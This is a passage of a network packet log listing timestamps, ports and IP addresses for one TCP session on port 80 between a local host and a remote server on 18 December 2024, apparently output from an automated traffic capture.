Dec 18, 2024 11:09:47.971617937 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.971668005 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.971716881 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.971765041 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.972665071 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.972714901 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.972759962 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.972809076 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.973670959 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.973722935 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.973807096 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.973854065 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.974666119 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.974716902 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.974812984 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.975512981 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.975768089 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.975811005 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.975814104 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.975855112 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.977008104 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.977055073 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.977209091 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.977502108 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.977849960 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.978004932 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.978075027 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.978821993 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.978868961 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.979068995 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.979507923 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.979846001 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.979980946 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.980027914 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.980890036 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.980994940 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.981040955 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.981887102 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.982079983 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.982124090 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.982913971 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.982969046 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.982969999 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.983510971 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.983985901 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.984031916 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.984091043 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.984129906 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.984967947 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.985019922 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.985150099 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.985196114 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.986021996 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.986068010 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.986072063 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.986110926 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.987134933 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.987183094 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.987234116 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.987277985 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.988138914 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.988243103 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.988291025 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.989139080 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.989258051 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.989305973 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.990161896 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.990256071 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.990304947 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.991172075 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.991221905 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.991259098 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.991518021 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.992182970 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.992229939 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.992230892 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.992275000 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.993223906 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.993273973 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.993582010 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.993628979 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.994257927 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.994304895 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.994395018 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.994437933 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.995300055 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.995346069 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.995378971 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.995421886 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.996324062 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.996731043 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.996778965 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.997338057 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.997454882 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.997499943 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.998382092 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.998425961 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.998495102 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.999432087 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:47.999483109 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:47.999710083 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.000463963 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.000478983 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.000500917 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.000541925 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.000575066 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.001480103 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.001522064 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.001532078 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.002536058 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.002580881 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.002580881 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.003505945 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.003516912 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.003542900 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.003631115 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.004553080 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.004601955 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.004832983 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.005624056 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.005671978 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.005831003 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.005872011 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.006649971 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.006709099 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.006752014 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.007739067 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.007810116 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.007857084 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.008673906 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.008717060 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.008882999 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.009723902 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.009759903 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.009776115 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.010755062 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.010801077 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.010919094 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.010957003 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.012008905 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.012022972 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.012069941 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.012852907 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.012969017 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.013015032 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.013968945 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.014013052 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.014046907 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.014682055 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.014710903 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.014727116 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.014744997 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.015780926 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.015810013 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.015856028 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.106190920 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.106232882 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.106267929 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.106302023 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.466305971 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.466470003 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.501741886 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.501827955 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.501843929 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.501898050 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.502026081 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.502062082 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.502072096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.502109051 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.503108978 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.503161907 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.503196955 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.503242016 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.504013062 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.504060984 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.504919052 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.504976988 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.505081892 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.505126953 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.505258083 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.505302906 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.506077051 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.506127119 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.506369114 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.506414890 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.507107019 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.507158041 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.507380009 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.507422924 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.508167028 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.508217096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.508336067 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.508383036 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.509165049 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.509217024 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.509362936 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.509407997 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.536890030 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.536973953 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.537332058 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.537378073 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.595082045 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.595161915 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.595197916 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.595200062 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.595227003 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.595243931 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.595807076 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.595860958 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.595876932 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.595925093 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.596859932 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.596910000 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.596988916 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.597033024 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.597873926 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.597920895 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.597968102 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.598011971 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.598952055 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.599005938 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.599370003 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.599412918 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.599940062 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.599987984 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.601006031 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.601042986 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.601052999 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.601082087 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.601593018 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.601640940 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.601996899 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.602042913 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.602128029 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.602170944 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.603046894 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.603100061 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.604093075 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.604141951 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.604146004 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.604182959 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.604186058 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.604219913 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.621495008 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.621548891 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.621557951 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.621587992 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.621603012 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.621638060 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.621639013 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.621675968 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.622303009 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.622351885 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.622355938 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.622397900 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.623330116 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.623378992 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.624000072 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.624049902 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.624393940 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.624439001 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.624443054 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.624485016 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.625458002 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.625505924 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.625606060 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.625650883 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.626754045 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.626801014 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.627031088 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.627077103 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.627954960 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.628005028 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.628042936 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.628088951 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.628529072 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.628577948 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.628993988 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.629041910 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.629376888 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.629421949 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.629432917 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.629460096 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.630403042 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.630453110 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.631406069 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.631443024 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.631453037 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.631479979 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.631479979 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.631541967 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.632421970 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.632472038 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.632939100 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.632986069 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.633521080 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.633555889 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.633568048 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.633594036 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.634471893 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.634558916 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.634576082 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.634598970 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.635494947 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.635550022 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.636594057 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.636627913 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.636641026 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.636663914 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.636666059 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.636699915 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.637588978 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.637635946 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.638155937 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.638206005 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.638626099 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.638659954 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.638679981 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.638700008 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.639620066 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.639674902 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.639729977 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.639775991 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.640686989 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.640738964 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.640795946 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.640840054 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.641699076 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.641752958 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.642194986 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.642241955 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.642765045 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.642812967 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.642971992 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.643017054 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.643747091 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.643796921 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.644321918 CET	80	49966	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:48.644371033 CET	49966	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:48.644777060 CET	80	49966	31.41.244.11	192.168.2.6
